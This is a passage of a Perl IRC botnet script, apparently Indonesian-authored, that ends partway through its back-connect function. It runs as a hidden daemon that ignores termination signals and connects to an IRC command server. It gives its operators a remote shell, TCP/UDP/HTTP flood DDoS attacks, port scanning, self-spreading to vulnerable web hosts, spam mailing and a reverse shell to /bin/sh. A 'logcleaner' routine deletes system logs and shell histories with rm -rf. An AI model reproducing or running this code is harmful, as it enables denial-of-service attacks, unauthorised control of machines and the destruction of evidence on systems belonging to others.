    "Pritchard", 
    "Pritz",
    "Proietti",
    "Prothrow-Stith",
    "Puccia",
    "Pugh",
    "Pynchon",
    "Quaday",
    "Quetin", 
    "Rabe",
    "Rabkin",
    "Radeke",
    "Rajagopalan",
    "Raney",
    "Rangan",
    "Rankin",
    "Rapple",
    "Rayport",
    "Redden-Tyler",
    "Reedquist",
    "Cunningham",
    "Reinold",
    "Remak",
    "Renick",
    "Repetto", 
    "Resnik",
    "Rhea",
    "Richmond",
    "Rielly",
    "Rindos",
    "Rineer",
    "Rish",
    "Rivera",
    "Robinson", 
    "Rocha",
    "Roesler",
    "Rogers",
    "Ronen",
    "Row",
    "Roby",
    "Robert",
    "Royal",
    "Ru",
    "Ruan",
    "Ruderman",
    "Ruescher",
    "Rush",
    "Ryu",
    "Sabatello",
    "Sadler",
    "Safire", 
    "Sahu",
    "Sali",
    "Samson",
    "Sanchez-Ramirez",
    "Sanna",
    "Sapers",
    "Sarin",
    "Sartore", 
    "Sase",
    "Satin",
    "Satta",
    "Satterthwaite",
    "Sawtell",
    "Sayied",
    "Scarponi",
    "Scepan",
    "Scharf",
    "Scharlemann",
    "Scheiner",
    "Schiano",
    "Schifini",
    "Schilling",
    "Schmitt",
    "Schossberger", 
    "Schuman",
    "Schutte",
    "Schuyler",
    "Schwan",
    "Schwickrath",
    "Scovel",
    "Scudder",
    "Seaton", 
    "Seeber",
    "Segal",
    "Sekler",
    "Selvage",
    "Sen",
    "Sennett",
    "Seterdahl",
    "Sexton",
    "Seyfert",
    "Shaikh",
    "Shakis",
    "Shankland",
    "Shanley",
    "Shar",
    "Shatrov",
    "Shavelson",
    "Shea",
    "Sheats",
    "Shepherd",
    "Sheppard",
    "Shepstone",
    "Shesko",
    "Shia",
    "Shibata",
    "Shimon", 
    "Siesto",
    "Sigalot",
    "Sigini",
    "Signa",
    "Silverman",
    "Silvetti",
    "Sinsabaugh",
    "Sirilli", 
    "Sites",
    "Skane",
    "Skerry",
    "Skoda",
    "Sloan",
    "Slowe",
    "Smilow",
    "Sniffen",
    "Snodgrass", 
    "Socolow",
    "Solon",
    "Somers",
    "Sommariva",
    "Sorabella",
    "Sorg",
    "Sottak",
    "Soukup", 
    "Soule",
    "Soultanian",
    "Spanier",
    "Sparrow",
    "Spaulding",
    "Speizer",
    "Spence",
    "Sperber", 
    "Spicer",
    "Spiegelhalter",
    "Spiliotis",
    "Spinrad",
    "StMartin",
    "Stalvey",
    "Stam",
    "Stang", 
    "Stassinopolus",
    "States",
    "Statlender",
    "Stefani",
    "Steiner",
    "Stephanian",
    "Stepniewska",
    "Stewart-Oaten", 
    "Stiepock",
    "Stillwell",
    "Stock",
    "Stockton",
    "Stockwell",
    "Stolzenberg",
    "Stonich",
    "Storer", 
    "Stott",
    "Strange",
    "Strauch",
    "Streiff",
    "Stringer",
    "Sullivan",
    "Sumner",
    "Suo",
    "Surdam",
    "Sweeting",
    "Sweetser",
    "Swindle",
    "Tagiuri",
    "Tai",
    "Talaugon",
    "Tambiah",
    "Tandler",
    "Tanowitz",
    "Tatar",
    "Taveras",
    "Tawn",
    "Tcherepnin",
    "Teague",
    "Temes",
    "Temmer", 
    "Tenney",
    "Terracini",
    "Than",
    "Thavaneswaran",
    "Theodos",
    "Thibault",
    "Thisted",
    "Thomsen", 
    "Throop",
    "Tierney",
    "Till",
    "Timmons",
    "Tofallis",
    "Tollestrup",
    "Tolls",
    "Tolman", 
    "Tomford",
    "Toomer",
    "Topulos",
    "Torresi",
    "Torske",
    "Towler",
    "Toye",
    "Traebert",
    "Trenga",
    "Trewin",
    "Tringali",
    "Troiani",
    "Troy",
    "Truss",
    "Tsiatis",
    "Tsomides",
    "Tsukurov", 
    "Tuck",
    "Tudge",
    "Tukan",
    "Turano",
    "Turek",
    "Tuttle",
    "Twells",
    "Tzamarias",
    "Ullman", 
    "Untermeyer",
    "Upsdell",
    "Urban",
    "Urdang-Brown",
    "Usdan",
    "Uzuner",
    "Vacca",
    "Waite", 
    "Valberg",
    "Valencia",
    "Wales",
    "Wallenberg",
    "Walter",
    "vanAllen",
    "VanZwet",
    "Vandenberg", 
    "Vanheeckeren",
    "Warshafsky",
    "Wasowska",
    "Vasquez",
    "Waugh",
    "Weighart",
    "Weingarten",
    "Weinhaus", 
    "Weissbourd",
    "Weissman",
    "Velasquez",
    "Welles",
    "Welsh",
    "Wengret",
    "Venne",
    "Verghese", 
    "Wescott",
    "Wetzel",
    "Whately",
    "Whilton",
    "White",
    "Whitla",
    "Whittaker",
    "Viana", 
    "Viano",
    "Wiedersheim",
    "Wiener",
    "Viens",
    "Vignola",
    "Wilder",
    "Wilhelm",
    "Wilk",
    "Wilkin", 
    "Wilkinson",
    "Villarreal",
    "Willstatter",
    "Wilson",
    "Vitali",
    "Viviani",
    "Voigt",
    "Wolk", 
    "VonHoffman",
    "Woo",
    "Wooden",
    "Woods",
    "Woods-Powell",
    "Vorhaus",
    "Votey",
    "Yacono", 
    "Yamane",
    "Yankee",
    "Yarchuk",
    "Yates",
    "Ybarra",
    "Yedidia",
    "Yesson",
    "Yetiv",
    "Yoffe", 
    "Yoo",
    "Youk-See",
    "Yu",
    "Zachary",
    "Zahedi",
    "Zangwill",
    "Zegans",
    "Zerbini",
    "Zoldak", 
    "Zucconi",
    "Zurn",
    "Zwiers");
my @rname = ("Henca Team",
    "Cinta lawan Selingkuh",
    "SeRinG PuTus Cinta",
    "Mr. Mudah Jatuh Cinta", 
    "Punk ICU",
    "R0ck and Rool",
    "Ketika Rasa Tak Dapat Diungkap",
    "Percuma Kita Bersama DinDa",
    "Manusia Bodoh",
    "Coli sambil nonton film biru", 
    "Lihat Cewek2 Pake tanktop",
    "Power of Keindahan",
    "TigaBelas DelapanTujuh",
    "Menyelam Sambil Minum Es Krim",
    "LaGi Chat Ama Cewek Gw",
    "Apa Lho Lihat-lihat",
    "Gw Emang Ganteng", 
    "Henca 2008",
    "Dari Dompu Ke Mataram",
    "Dari Mata Turun Kehati",
    "Saya Bukan Siapa-siapa",
    "Ketika cinta penuh dengan makna",
    "Jangan Tanya AKu ini siapa?", 
    "Henca Is Back",
    "Samada Aka Sia sanai-nai",
    "Cou nggara Mu Cinae",
    "Gaya EnamSembilan",
    "Kamu LIhat Apa, Kangen Yach",
    "Cinta, Damai dan Sex?", 
    "Founder Rumah Sakit Jiwa",
    "Selamat Jalan Sayang",
    "SaMaDa Sampe made",
    "Tiada Hari Tanpa Sebuah Mimpi",
    "Aku Benci Semua Yang Tak Pasti",
    "Suka Sama Aku Yach",
    "Whois Lagi Donk say..",
    "Samada aka Nggomike",
    "Dj Shinchi^AdeKUe",
    "Yang Whois Orang Gila",
    "Random Is OFF",
    "n0b0d1 p3tt1n9 w1th m3",
    "AKu Adalah Aku, KAmu siapa", 
    "DouMaLinGi",
    "Ashem bin pahit",
    "Lihat Aku Yang Cakep Khan",
    "ISabela Adalah Kisah",
    "LA Hami Di La Hima",
    "Sampela Lao La Sampula",
    "Marewo ro marawa", 
    "Manangi ro masamangi",
    "Na SampeLuku",
    "Power Of Kerinduan",
    "On The Fly apa yach",
    "Founder Henca",
    "Jalan Cinta Kita",
    "Jalan Siapa Ini",
    "Allah Hu Akbar", 
    "Im your god idiot",
    "Chat Sambil Baca Komik Hentai",
    "Manga Hentai",
    "Intan Dan Berlian",
    "Putri Kesepian",
    "Keep it to yourself!", 
    "Kemana Aku harus pergi",
    "WhiresLoves",
    "Kekuatan Cinta dan Sayang",
    "Aku cinta padamu",
    "Cinta Kau dimana?",
    "Aku Disini cinta!", 
    "LInux atau windows",
    "Maria Carrey",
    "Mencari cinta",
    "Hantu Genit",
    "Cowok Cupu",
    "Cewek genit", 
    "Kekuatan Dalam Keindahan",
    "Ama Uma",
    "Gunung Dua Di Raba",
    "Ompu Hima",
    "VsMode Di Rasa",
    "Scan Mode On",
    "Set Mode Diam",
    "Cinta tak dapat di ungkap dengan kata",
    "Dia adalah Cewekku",
    "SamPela",
    "SampuLa");
my $nick = $nickname[rand scalar @nickname];
my $ircname = $nickname[rand scalar @nickname];
my $realname = $rname[rand scalar @rname];
$servidor='irc.khunthien.net' unless $servidor;
my $porta='6667';

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir("/");
##################################################
#       Ketika Rasa membelenggu kata™	         #
# 	   arage@jatuh.cinta.com		 #
#	     Created By arage			 #
#	         #x-zone		         #
#	       irc.dal.net			 #
##################################################

#Connect
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Masalah fork: $!" unless defined($pid);

our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
    } else {
    print $IRC_cur_socket "$_[0]\n";
  }
}

sub conectar {
  my $meunick = $_[0];
  my $servidor_con = $_[1];
  my $porta_con = $_[2];
  my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con",
  PeerPort=>$porta_con) or return(1);
  if (defined($IRC_socket)) {
    $IRC_cur_socket = $IRC_socket;
    $IRC_socket->autoflush(1);
    $sel_cliente->add($IRC_socket);
    $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
    $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
    $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
    $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
    nick("$meunick");
    sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
    sleep 1;
  }
}

my $line_temp;
while( 1 ) {
  while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  delete($irc_servers{''}) if (defined($irc_servers{''}));
  my @ready = $sel_cliente->can_read(0);
  next unless(@ready);
  foreach $fh (@ready) {
    $IRC_cur_socket = $fh;
    $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
    $nread = sysread($fh, $msg, 4096);
    if ($nread == 0) {
      $sel_cliente->remove($fh);
      $fh->close;
      delete($irc_servers{$fh});
    }
    @lines = split (/\n/, $msg);
    for(my $c=0; $c<= $#lines; $c++) {

      $line = $lines[$c];
      $line=$line_temp.$line if ($line_temp);
      $line_temp='';
      $line =~ s/\r$//;
      unless ($c == $#lines) {
        parse("$line");
        } else {
        if ($#lines == 0) {
          parse("$line");
          } elsif ($lines[$c] =~ /\r$/) {
          parse("$line");
          } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
          parse("$line"); 
          	   } else {
          	               $line_temp = $line;
        }
      }
    }
  }
}

sub parse {
  my $servarg = shift;
  if ($servarg =~ /^PING \:(.*)/) {
    sendraw("PONG :$1");
    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
    my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
    if ($args =~ /^\001VERSION\001$/) {
      	 notice("$pn", "\001VERSION mIRC v6.17 arage\001");
    }
    if (grep {$_ =~ /^\Q$pn\E$/i } @adms ) {
    if ($onde eq "$meunick"){
    shell("$pn", "$args");
  }
  
#End of Connect

##################################################
#       Ketika Rasa membelenggu kata™	         #
# 	   arage@jatuh.cinta.com		 #
#	     Created By arage			 #
#	         #x-zone		         #
#	       irc.dal.net			 #
##################################################
#      PREFIX        #
######################
  
  if ($args =~ /^(\Q$meunick\E|\!noe)\s+(.*)/ ) {
    my $natrix = $1;
    my $arg = $2;
    if ($arg =~ /^\!(.*)/) {
      ircase("$pn","$onde","$1") unless ($natrix eq "!noe" and $arg =~ /^\!nick/);
      } elsif ($arg =~ /^\@(.*)/) {
      $ondep = $onde;
      $ondep = $pn if $onde eq $meunick;
      bfunc("$ondep","$1");
      } else {
      shell("$onde", "$arg");
    }
  }
}
}
######################
#   End of PREFIX    #
######################

elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($meunick)) {
  $meunick=$4;
  $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
}
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
nick("$meunick".int rand(999999));
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$meunick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
foreach my $canal (@canais) {
  sendraw("JOIN $canal ddosit");
}
}
}

sub bfunc {
my $printl = $_[0];
my $funcarg = $_[1];
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
  exit;
} else {

######################
#       Help         # 
######################

if ($funcarg =~ /^help/) {
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· Haderrrr...silahkan pilih bozz");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@ddos");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@scanscan");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@backconnect");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@shell");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@portscanner");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· Atau kalo boz mau tau semua perintah, silahkan ketik ini:");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@commands");

}

if ($funcarg =~ /^ddos/) {
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· There are 3 DDossers in this bot");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· UDPFlood, HTTPFlood and TCPFlood");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@udpflood <ip> <packet size> <time>");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@tcpflood <ip> <port> <packet size> <time>");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@httpflood <site> <time>");

}

if ($funcarg =~ /^scanscan/) {
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· This bot also contains a scan Scanner.");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· Commands :");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@scan <vuln> <dork>");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· You can find strings here : http://www.xshqiptaretx.org/strings.txt ");

}

if ($funcarg =~ /^backconnect/) {
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· You use backconnect like this :");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@back <ip><port>");
}

if ($funcarg =~ /^shell/) {
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· This bot has a integrated shell");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· You can use it in private but also public in the channel");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· In public channel just use : 7!noe cd tmp12 for example");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· For help with the linux commands type :!noe 7@linuxhelp");
}

if ($funcarg =~ /^portscanner/) {
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· There is a normal portscan and a Nmap:");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@portscan <ip>");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@nmap <ip> <beginport> <endport>");
}

if ($funcarg =~ /^commands/) {
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· Boz bisa gunain semua perintah enehhhhh :");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@portscan <ip>");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@nmap <ip> <beginport> <endport>");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@back <ip><port>");	
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe cd tmp 12 for example");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@udpflood <ip> <packet size> <time>");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@tcpflood <ip> <port> <packet size> <time>");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@httpflood <site> <time>");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@linuxhelp");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@spread <scan>");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@scan <vuln> <dork>");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@system");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@logcleaner");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@sendmail <subject> <sender> <recipient> <message>");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@milw0rm");	
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@join #channel");	
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Help13·+=+· !noe 7@part #channel");
}

if ($funcarg =~ /^linuxhelp/) {
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·LinuxHelp13·+=+· - Dir where you are : pwd");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·LinuxHelp13·+=+· - Start a Perl file : perl file.pl");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·LinuxHelp13·+=+· - Go back from dir : cd ..");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·LinuxHelp13·+=+· - Force to Remove a file/dir : rm -rf file/dir;ls -la");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·LinuxHelp13·+=+· - Show all files/dir with permissions : ls -lia");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·LinuxHelp13·+=+· - Find config.inc.php files : find / -type f -name config.inc.php");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·LinuxHelp13·+=+· - Find all writable folders and files : find / -perm -2 -ls");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·LinuxHelp13·+=+· - Find all .htpasswd files : find / -type f -name .htpasswd");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·LinuxHelp13·+=+· - Find all service.pwd files : find / -type f -name service.pwd");
}

######################
#   End of  Help     # 
######################
if ($funcarg =~ /^spread\s+(.*)/) {
$vuln = $1;
sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Spread Mode13·+=+· Spreading bot on :14 $vuln");
my $shellurl="http://".$vuln.$spread."?";
my $reqz=HTTP::Request->new(GET=>$shellurl);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Spread Mode13·+=+· Bot is Spreaded on :14 $vuln"); 
}
######################
#     Commands       # 
######################

if ($funcarg =~ /^system/) {
$uname=`uname -a`;$uptime=`uptime`;$ownd=`pwd`;$distro=`cat /etc/issue`;$id=`id`;$un=`uname -sro`;
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·System Info13·+=+· Info BOT : Server : 14Cannot View :14 1337");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·System Info13·+=+· Uname -a     : 7 $uname");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·System Info13·+=+· Uptime       : 7 $uptime");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·System Info13·+=+· Own Prosses  : 7 $processo");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·System Info13·+=+· ID           : 7 $id");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·System Info13·+=+· Own Dir      : 7 $ownd");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·System Info13·+=+· OS           : 7 $distro");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·System Info13·+=+· Owner        : 7 arage");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·System Info13·+=+· Channel      : 7 #• @easynets.net");
}

if ($funcarg =~ /^milw0rm/) {
	my @ltt=();
	my @bug=();
	my $x;
	my $page="";
	my $socke = IO::Socket::INET->new(PeerAddr=>"milw0rm.com",PeerPort=>"80",Proto=>"tcp") or return;
	print $socke "GET http://milw0rm.com/rss.php HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
	my @r = <$socke>;
	$page="@r";
	close($socke);
	while ($page =~  m/<title>(.*)</g){
	$x = $1;
	if ($x =~ /\<\;/) {
	$x =~ s/\<\;/</g;
	}
	if ($x !~ /milw0rm/) {
	push (@bug,$x);
	}}
	while ($page =~  m/<link.*expl.*([0-9]...)</g) {
	if ($1 !~ m/milw0rm.com|exploits|en/){
	push (@ltt,"http://www.milw0rm.com/exploits/$1 ");
	}}
		sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Milw0rm Bugs13·+=+· lagi rusakkk...wakkkwkkkwka :P~~ :");
	foreach $x (0..(@ltt - 1)) {
		sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Milw0rm Bugs13·+=+·14 $bug[$x] -3 $ltt[$x]");
	sleep 1;
}}
##################################################
#       Ketika Rasa membelenggu kata™	         #
# 	   arage@jatuh.cinta.com		 #
#	     Created By arage			 #
#	         #x-zone		         #
#	       irc.dal.net			 #
##################################################
######################
#      Portscan      # 
######################

if ($funcarg =~ /^portscan (.*)/) {
  my $hostip="$1";
  my
  @portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555");
  my (@aberta, %porta_banner);
  sendraw($IRC_cur_socket, "PRIVMSG $printl :(13·+=+·PortScan13·+=+·) 6Tunggu Boz..gw scan dolo IP taekz ini.. 7(just a minuts, ok !!)  12".$1." Dimulai dari sekarang!! .");
  foreach my $porta (@portas)  {
    my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto =>
    'tcp', Timeout => 4);
    if ($scansock) {
      push (@aberta, $porta);
      $scansock->close;
    }
  }
  
  if (@aberta) {
    sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·PortScan13·+=+· 6eneh dia port nya bos..hajarrr...:5 @aberta");
    } else {
    sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·PortScan13·+=+· 6jahh!! ga ada yg kebuka nehh boz, buka aja sempak lu yakk :P.");
  }
}

######################
#  End of  Portscan  # 
######################
##################################################
#       Ketika Rasa membelenggu kata™	         #
# 	   arage@jatuh.cinta.com		 #
#	     Created By arage			 #
#	         #x-zone		         #
#	       irc.dal.net			 #
##################################################
######################
#        Nmap        #  
######################
   if ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/){
         my $hostip="$1";
         my $portstart = "$2";
         my $portend = "$3";
         my (@abertas, %porta_banner); 
       sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Nmap13·+=+· :12 $1 (13·+=+·Port13·+=+·) 12 $2-$3");
       foreach my $porta ($portstart..$portend){
               my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime); 
    if ($scansock) {
                 push (@abertas, $porta);
                 $scansock->close;
                 if ($xstats){
        sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Nmap13·+=+· Founded 12 $porta"."/Open"); 
                 }
               }
             }
             if (@abertas) {
        sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Nmap13·+=+· Complete ");
             } else {
        sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Nmap13·+=+· No open ports have been founded 13");
             }
			 }
######################
#    End of Nmap     #  
######################
##################################################
#       Ketika Rasa membelenggu kata™	         #
# 	   khoyircrew@yahoo.com			 #
#	     Created By kangkung		 #
#	       #ArabHacK		         #
#		irc.dal.net			 #
##################################################
######################
#    Log Cleaner     #  
######################
if ($funcarg =~ /^logcleaner/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·bersih-bersih!!!13·+=+· silahkan menunggu boz, agak lama keknya eneh..."); 
    system 'rm -rf /var/log/lastlog';
    system 'rm -rf /var/log/wtmp';
	system 'rm -rf /etc/wtmp';
	system 'rm -rf /var/run/utmp';
	system 'rm -rf /etc/utmp';
	system 'rm -rf /var/log';
	system 'rm -rf /var/logs';
	system 'rm -rf /var/adm';
	system 'rm -rf /var/apache/log';
	system 'rm -rf /var/apache/logs';
	system 'rm -rf /usr/local/apache/log'; 
	system 'rm -rf /usr/local/apache/logs';
	system 'rm -rf /root/.bash_history';
	system 'rm -rf /root/.ksh_history';
sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·LogCleaner13·+=+· 4semua log files udah di haposssssss"); 
		sleep 1;
sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·LogCleaner13·+=+· 4sekarang mengahapus machine log files");
	system 'find / -name *.bash_history -exec rm -rf {} \;';
	system 'find / -name *.bash_logout -exec rm -rf {} \;';
	system 'find / -name "log*" -exec rm -rf {} \;';
	system 'find / -name *.log -exec rm -rf {} \;';
		sleep 1;
sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·LogCleaner13·+=+· 4selesai! semua logs dihapus"); 
      }
######################
# End of Log Cleaner #  
######################
##################################################
#       Ketika Rasa membelenggu kata™	         #
# 	   arage@jatuh.cinta.com		 #
#	     Created By arage			 #
#	         #x-zone		         #
#	       irc.dal.net			 #
##################################################
######################
#       MAILER       #  
######################
# For mailing use :
# !noe @sendmail <subject> <sender> <recipient> <message>
#
######################
if ($funcarg =~ /^sendmail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Mailer13·+=+· Try Sending Mail to :10 $3");
$subject = $1;
$sender = $2;
$recipient = $3; 
@corpo = $4;
$mailtype = "content-type: text/html";
$sendmail = '/usr/sbin/sendmail';
open (SENDMAIL, "| $sendmail -t");
print SENDMAIL "$mailtype\n";
print SENDMAIL "Subject: $subject\n"; 
print SENDMAIL "From: $sender\n";
print SENDMAIL "To: $recipient\n\n";
print SENDMAIL "@corpo\n\n";
close (SENDMAIL);
sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Mailer13·+=+· Successfully Sended to :10 $recipient"); 
}
######################
#   End of MAILER    #  
######################
######################
#  Join And Part     # 
######################
           if ($funcarg =~ /^join (.*)/) {
              sendraw($IRC_cur_socket, "JOIN ".$1);
           }
           if ($funcarg =~ /^part (.*)/) {
              sendraw($IRC_cur_socket, "PART ".$1);
           }
		   
######################
#End of Join And Part# 
######################
##################################################
#       Ketika Rasa membelenggu kata™	         #
# 	   arage@jatuh.cinta.com		 #
#	     Created By arage			 #
#	         #x-zone		         #
#	       irc.dal.net			 #
##################################################
######################
#     TCPFlood       # 
######################

if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·TCP DDoS13·+=+· Tempelenkkkk 12 ".$1.":".$2." untuk 12 ".$3." detik.");
  my $itime = time;
  my ($cur_time);
  $cur_time = time - $itime;
  while ($3>$cur_time){
  $cur_time = time - $itime;
  &tcpflooder("$1","$2","$3");
}
sendraw($IRC_cur_socket,"PRIVMSG $printl :13·+=+·TCP DDoS13·+=+· Serangan selesai,cepet kaborr bos..ada penyisiran.. 12 ".$1.":".$2.".");
}
######################
#  End of TCPFlood   # 
######################
##################################################
#       Ketika Rasa membelenggu kata™	         #
# 	   arage@jatuh.cinta.com		 #
#	     Created By arage			 #
#	         #x-zone		         #
#	       irc.dal.net			 #
##################################################
######################
#   Back Connect     # 
######################
if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
my $host = "$1";
my $porta = "$2";
my $proto = getprotobyname('tcp');
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($porta, $iaddr);
my $shell = "/bin/sh -i";
if ($^O eq "MSWin32") {
  $shell = "cmd.exe";
}
